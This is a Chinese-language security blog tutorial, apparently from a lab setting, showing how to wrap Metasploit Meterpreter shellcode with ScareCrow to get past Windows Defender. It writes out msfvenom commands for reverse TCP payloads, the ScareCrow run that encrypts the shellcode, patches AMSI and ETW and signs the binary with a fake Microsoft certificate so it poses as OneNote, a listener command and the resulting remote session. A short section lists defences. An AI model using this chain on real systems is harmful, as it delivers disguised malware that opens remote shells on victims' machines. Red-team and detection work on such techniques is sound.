在现代安全防护体系中,传统恶意样本(如经典的 msfvenom 生成的 EXE)很容易被 Windows Defender 或其他杀毒软件识别。攻击者因此不断寻找新的规避技术。本篇文章将围绕如何利用 ScareCrow 对 Meterpreter shellcode 进行深度伪装,从而绕过病毒扫描机制进行分析,同时讨论其对企业防御的启示。
以下内容全部来自安全实验环境,旨在帮助读者理解攻击载荷如何被构造与伪装,以便改进企业安全检测。
一、Metasploit 编码器与传统规避方法的局限性
Metasploit 本身提供了大量 payload 编码器,例如著名的 x86/shikata_ga_nai。编码器的作用是对 payload 做一定程度的混淆,使其难以被静态 AV 签名直接识别。
例如:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.94 \
LPORT=8080 -f exe -o data-leak-mycompany.exe \
-e x86/shikata_ga_nai -i 50
其中:
• -e:指定编码器
• -i:指定迭代次数(此例为 50 次)
需要注意:
• payload 架构与编码器架构必须一致
• 多重编码虽能提升混淆,但也容易破坏 payload
• 查杀效果有限,尤其是在现代杀毒软件上
Metasploit 5 新增的 evasion 模块
evasion/windows/windows_defender_exe
evasion/windows/windows_defender_js_hta
已经全部被 Windows Defender 检出。
因此,攻击者通常转向更复杂的规避框架,例如 ScareCrow。
二、ScareCrow
ScareCrow 是 Optiv 发布的开源项目:
https://github.com/optiv/ScareCrow
目标:
把 shellcode 加工成可绕过杀毒软件检查的可执行文件,并通过 DLL sideloading 技术进行加载。
其典型特性包括:
• AES 加密 shellcode
• 绕过 AMSI
• 绕过 ETW(Event Tracing for Windows)
• 模拟合法 Windows 程序行为
• 伪造签名(如伪装成 Microsoft)
三、在 Kali Linux 上准备 ScareCrow
安装准备步骤。
克隆代码:
apt install golang-go &&
go get github.com/fatih/color &&
go get github.com/yeka/zip &&
go get github.com/josephspurrier/goversioninfo
构建 ScareCrow:
go build ScareCrow.go
运行后显示:
./ScareCrow
2022/07/27 11:06:21 Please provide a path to a file
containing raw 64-bit shellcode (i.e .bin files)
可见,ScareCrow 并不直接生成 payload,而是要求输入“原始 shellcode”。
四、生成 raw shellcode
我们从 msfvenom 生成一段 raw 格式的 Meterpreter shellcode:
msfvenom -p windows/x64/meterpreter_reverse_tcp \
LHOST=10.10.0.94 LPORT=8443 -f raw -o myshell.bin
输出:
No platform was selected, choosing
Msf::Module::Platform::Windows from the payload
No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 200262 bytes
Saved as: myshell.bin
与上一节不同:
• 不再生成 exe
• 以 raw 输出纯 shellcode
• 文件 myshell.bin 将作为 ScareCrow 的输入
五、将 shellcode 注入 ScareCrow:
使用 ScareCrow 的关键选项:
• -I:指定 shellcode 文件
• --domain:用于伪造签名证书
例如:
./ScareCrow -I myshell.bin -domain www.microsoft.com
输出内容包含多个关键规避技术:
Missing Garble... Downloading it now
Encrypting Shellcode Using AES Encryption
Shellcode Encrypted
Patched ETW Enabled
Patched AMSI Enabled
Sleep Timer set for 2597 milliseconds
Creating an Embedded Resource File
Created Embedded Resource File With OneNote's Properties
Compiling Payload
Payload Compiled
Signing cmd.exe With a Fake Cert
Signed File Created
Binary Compiled
可见:
• shellcode 被 AES 加密
• ETW 与 AMSI 被“patched”
• 可执行文件被伪装成 OneNote(onenote.exe)
• 伪造的签名信息指向 “Microsoft Corporation”
这些行为使得很多杀毒软件难以基于静态特征识别恶意性。
六、目标系统上的呈现方式
ScareCrow 输出的可执行文件会:
• 模拟 OneNote
• 使用伪造的 Microsoft 证书
• 文件图标与元数据均模仿官方应用
在缺乏严格应用白名单或 EDR 的情况下,社工成功率非常高。
七、监听端口并接收回连
在 Kali Linux 上启动 Metasploit 监听:
msfconsole -q -x "use exploit/multi/handler; \
set payload windows/x64/meterpreter_reverse_tcp; \
set LHOST 0.0.0.0; set LPORT 8443; set ExitOnSession false; exploit -j"
ScareCrow 伪装程序运行后,可看到成功建立 Meterpreter 会话:
[*] Meterpreter session 1 opened
(10.10.0.94:8443 -> 10.10.0.197:50212) at 2022-07-27 11:46:15 +0000
...
meterpreter > getuid
Server username: WIN10-GAZELLE01\gazelle01
meterpreter > sysinfo
Computer : WIN10-GAZELLE01
OS : Windows 10 (10.0 Build 19044).
这表明:
• payload 成功被执行
• shellcode 被解密并加载
• AV/AMSI 未阻断行为
八、防御视角
ScareCrow 成功绕过杀毒软件的原因包括:
• AES 加密使 payload 无法被静态特征匹配
• 伪造签名降低用户警觉性
• ETW/AMSI patching 绕过行为监控
• 合法应用(OneNote)外观减少怀疑
有效的企业防御措施:
• EDR 行为分析(检测 DLL sideloading)
• 禁止用户执行未签名 / 异常签名程序
• 对 Microsoft 程序的路径、签名、哈希进行严格验证
• 使用 AppLocker / WDAC 限制可执行文件加载
• 检测内存解密行为(如 AES 解密后执行 RWX 内存)
• 监控 LSASS、OneNote 等进程中出现可疑线程
九、总结
本节研究了如何从 msfvenom 生成 raw shellcode,并通过 ScareCrow 将其伪装为高度可信的可执行文件以绕过病毒检测机制。整个流程帮助我们理解攻击链中更隐蔽的 payload 投递方式,以及现代恶意代码规避分析的重要趋势。
对于蓝队与安全团队,这是构建高质量检测与响应能力的重要材料:
• 仅依靠 AV 已无法阻挡现代攻击
• EDR 的行为检测是关键
• 需要强化应用白名单与签名验证
• DLL sideloading 是必须重点监控的路径

被折叠的 条评论
为什么被折叠?



